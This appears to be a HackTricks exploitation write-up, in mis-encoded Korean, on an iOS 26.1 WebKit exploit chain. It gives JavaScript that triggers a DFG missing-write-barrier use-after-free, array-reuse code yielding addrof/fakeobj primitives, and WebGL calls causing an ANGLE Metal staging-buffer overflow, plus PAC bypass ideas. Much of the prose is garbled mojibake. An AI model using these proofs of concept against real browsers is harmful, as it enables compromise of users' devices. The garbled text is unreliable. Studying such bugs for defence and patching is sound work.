WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์š”์•ฝ

  • DFG Store Barrier bug (CVE-2025-43529): DFGStoreBarrierInsertionPhase.cpp์—์„œ Upsilon ์ž…๋ ฅ๋“ค์ด ๊ทธ๋ ‡์ง€ ์•Š์€๋ฐ Phi ๋…ธ๋“œ๊ฐ€ escaped๋กœ ํ‘œ์‹œ๋˜๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น phase๊ฐ€ ์ดํ›„ ๊ฐ์ฒด ์ €์žฅ์— ๋Œ€ํ•ด write barrier ์‚ฝ์ž…์„ ๊ฑด๋„ˆ๋œ๋‹ˆ๋‹ค. GC ์••๋ ฅ ํ•˜์—์„œ ์ด๋Š” JSC๊ฐ€ ์•„์ง ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ ๊ฐ์ฒด๋ฅผ ํ•ด์ œํ•˜๊ฒŒ ํ•˜์—ฌ โ†’ use-after-free.
  • ์ต์Šคํ”Œ๋กœ์ž‡ ๋Œ€์ƒ: Date ๊ฐ์ฒด๊ฐ€ butterfly๋ฅผ ์‹ค์ฒดํ™”ํ•˜๊ฒŒ ๊ฐ•์ œ(์˜ˆ: a[0] = 1.1)ํ•˜์—ฌ butterfly๊ฐ€ ํ•ด์ œ๋˜๋„๋ก ํ•œ ๋’ค, ์ด๋ฅผ ๋ฐฐ์—ด ์š”์†Œ ์ €์žฅ ๊ณต๊ฐ„์œผ๋กœ ์žฌํ• ๋‹น(reclaimed) ํ•˜๋ฉฐ boxed/unboxed ํ˜ผ๋™์„ ๋งŒ๋“ค์–ด addrof/fakeobj ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ํš๋“.
  • ANGLE Metal PBO bug (CVE-2025-14174): Metal backend๋Š” ์‹ค์ œ ํ…์Šค์ฒ˜ ๋†’์ด ๋Œ€์‹  UNPACK_IMAGE_HEIGHT์„ ์‚ฌ์šฉํ•ด PBO staging buffer๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ž‘์€ unpack height๋ฅผ ์ œ๊ณตํ•œ ๋’ค ํฐ texImage2D๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด staging-buffer OOB write(์•„๋ž˜ PoC์—์„œ ์•ฝ 240KB)๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • PAC blockers on arm64e (iOS 26.1): TypedArray์˜ m_vector์™€ JSArray์˜ butterfly๋Š” PAC-signed๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ํฌ์ธํ„ฐ๋กœ fake object๋ฅผ ์œ„์กฐํ•˜๋ฉด EXC_BAD_ACCESS/EXC_ARM_PAC๋กœ ํฌ๋ž˜์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ ์„œ๋ช…๋œ(to-be reused) butterflies(์ฆ‰ boxed/unboxed ์žฌํ•ด์„)๋งŒ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ์‹๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

DFG missing barrier ํŠธ๋ฆฌ๊ฑฐ โ†’ UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier โ†’ frees `a`/butterfly
}

Key points:

  • ์„ธ๋Œ€๋ณ„ barrier๋ฅผ ์ž‘๋™์‹œํ‚ค๊ธฐ ์œ„ํ•ด A๋ฅผ old space์— ๋ฐฐ์น˜ํ•œ๋‹ค.
  • butterfly๊ฐ€ ํ•ด์ œ๋œ ๋Œ€์ƒ์ด ๋˜๋„๋ก ์ธ๋ฑ์Šค๋œ Date๋ฅผ ๋งŒ๋“ ๋‹ค.
  • ArrayBuffer(0x800000)๋ฅผ sprayํ•˜์—ฌ GC๋ฅผ ๊ฐ•์ œํ•˜๊ณ  ๋ ˆ์ด์Šค๋ฅผ ํ™•์žฅํ•œ๋‹ค.
  • Phi/Upsilon์˜ escape ๋ถˆ์ผ์น˜๊ฐ€ barrier ์‚ฝ์ž…์„ ๋ฉˆ์ถ˜๋‹ค; b.p1 = a๋Š” without a write barrier๋กœ ์‹คํ–‰๋˜์–ด GC๊ฐ€ a/butterfly๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค.

Butterfly reclaim โ†’ boxed/unboxed ํ˜ผ๋™

GC๊ฐ€ Date butterfly๋ฅผ ํ•ด์ œํ•œ ํ›„, freed slab๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ element kinds๋ฅผ ๊ฐ€์ง„ ๋‘ ๋ฐฐ์—ด์˜ elements๋กœ ์žฌ์‚ฌ์šฉ๋˜๋„๋ก arrays๋ฅผ sprayํ•œ๋‹ค:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 โ†’ addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object โ†’ fakeobj

ํ˜„ํ™ฉ on iOS 26.1 (arm64e):

  • ์ž‘๋™ํ•จ: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • ์•„์ง ์•ˆ์ •์ ์ด์ง€ ์•Š์Œ: generalized read64/write64 via inline-slot backings.

PAC constraints on arm64e (์™œ fake objects๊ฐ€ ์ถฉ๋Œํ•˜๋Š”๊ฐ€)

  • TypedArray m_vector ๋ฐ **JSArray butterfly**๋Š” PAC-signed; ํฌ์ธํ„ฐ๋ฅผ ์œ„์กฐํ•˜๋ฉด EXC_BAD_ACCESS / ์•„๋งˆ EXC_ARM_PAC๊ฐ€ ๋ฐœ์ƒํ•จ.
  • confusion primitive๋Š” ํ•ฉ๋ฒ•์ ์œผ๋กœ ์„œ๋ช…๋œ butterflies๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋™์ž‘ํ•จ; ์„œ๋ช…๋˜์ง€ ์•Š์€ attacker pointers๋ฅผ ๋„์ž…ํ•˜๋ฉด ์ธ์ฆ์— ์‹คํŒจํ•จ.
  • ๊ฐ€๋Šฅํ•œ bypass ์•„์ด๋””์–ด: auth๋ฅผ ๊ฑด๋„ˆ๋›ฐ๋Š” JIT ๊ฒฝ๋กœ, attacker pointers์— ์„œ๋ช…ํ•˜๋Š” gadgets, ๋˜๋Š” ANGLE OOB๋ฅผ ํ†ตํ•œ pivoting.

ANGLE Metal PBO์˜ under-allocation โ†’ OOB write

์ž‘์€ unpack height๋ฅผ ์‚ฌ์šฉํ•ด staging buffer๋ฅผ ์ถ•์†Œํ•œ ๋‹ค์Œ ํฐ texture๋ฅผ ์—…๋กœ๋“œํ•ด์„œ copy๊ฐ€ overrun๋˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB โ†’ ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

๋…ธํŠธ:

  • TextureMtl.cpp์˜ ๋ฒ„๊ทธ: staging buffer๊ฐ€ PBO ๊ฒฝ๋กœ์—์„œ ์‹ค์ œ ํ…์Šค์ฒ˜ ๋†’์ด ๋Œ€์‹  UNPACK_IMAGE_HEIGHT์„ ์‚ฌ์šฉํ•จ.
  • ์ฐธ์กฐ ํ”„๋กœ๋ธŒ์—์„œ๋Š” WebGL2 PBO trigger๊ฐ€ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์ง€๋งŒ iOS 26.1์—์„œ๋Š” ์•„์ง ์•ˆ์ •์ ์œผ๋กœ ๊ด€์ฐฐ๋˜์ง€ ์•Š์Œ.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ